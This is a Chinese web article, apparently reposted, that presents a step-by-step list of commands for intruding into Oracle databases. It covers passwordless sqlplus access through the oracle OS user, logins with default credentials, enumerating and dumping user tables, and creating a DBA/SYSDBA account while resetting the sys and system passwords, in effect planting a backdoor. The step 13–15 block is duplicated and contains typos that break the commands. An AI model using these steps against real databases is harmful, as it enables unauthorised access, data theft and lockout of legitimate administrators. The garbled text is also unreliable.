入侵Oracle數(shù)據(jù)庫時常用的操作命令整理
發(fā)布日期:2021-12-29 05:44 | 文章來源:站長之家
本文按步驟講解如何入侵Oracle數(shù)據(jù)庫時常用的操作命令整理。
1、su–Oracle不是必需,適合于沒有DBA密碼時使用,可以不用密碼來進入sqlplus界面。
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
3、SQL>connect / as sysdba ;(as sysoper)或
connect internal/oracle AS SYSDBA ;(scott/tiger)
conn sys/change_on_install as sysdba;
4、SQL>startup; 啟動數(shù)據(jù)庫實例
5、 查看當前的所有數(shù)據(jù)庫:
select * from v$database;
select name from v$database;
desc v$databases; 查看數(shù)據(jù)庫結(jié)構(gòu)字段
6、怎樣查看哪些用戶擁有SYSDBA、SYSOPER權(quán)限:
SQL>select * from V_$PWFILE_USERS;
Show user;查看當前數(shù)據(jù)庫連接用戶
7、進入test數(shù)據(jù)庫:database test;
8、查看所有的數(shù)據(jù)庫實例:select * from v$instance;
如:ora9i
9、查看當前庫的所有數(shù)據(jù)表:
SQL> select TABLE_NAME from all_tables;
select * from all_tables;
SQL> select table_name from all_tables where table_name like '%u%';
TABLE_NAME
------------------------------
_default_auditing_options_
10、查看表結(jié)構(gòu):desc all_tables;
11、顯示CQI.T_BBS_XUSER的所有字段結(jié)構(gòu):
desc CQI.T_BBS_XUSER;
12、獲得CQI.T_BBS_XUSER表中的記錄:
select * from CQI.T_BBS_XUSER;
13、增加數(shù)據(jù)庫用戶:
create user test11 identified by test default
tablespace users Temporary TABLESPACE Temp; 14、用戶授權(quán): grant connect,resource,dba to test11; grant sysdba to test11; commit; 15、更改數(shù)據(jù)庫用戶的密碼:(將sys與system的密碼改為test.) alter user sys indentified by test; alter user system indentified by test;
tablespace users Temporary TABLESPACE Temp; 14、用戶授權(quán): grant connect,resource,dba to test11; grant sysdba to test11; commit; 15、更改數(shù)據(jù)庫用戶的密碼:(將sys與system的密碼改為test.) alter user sys indentified by test; alter user system indentified by test;
版權(quán)聲明:本站文章來源標注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章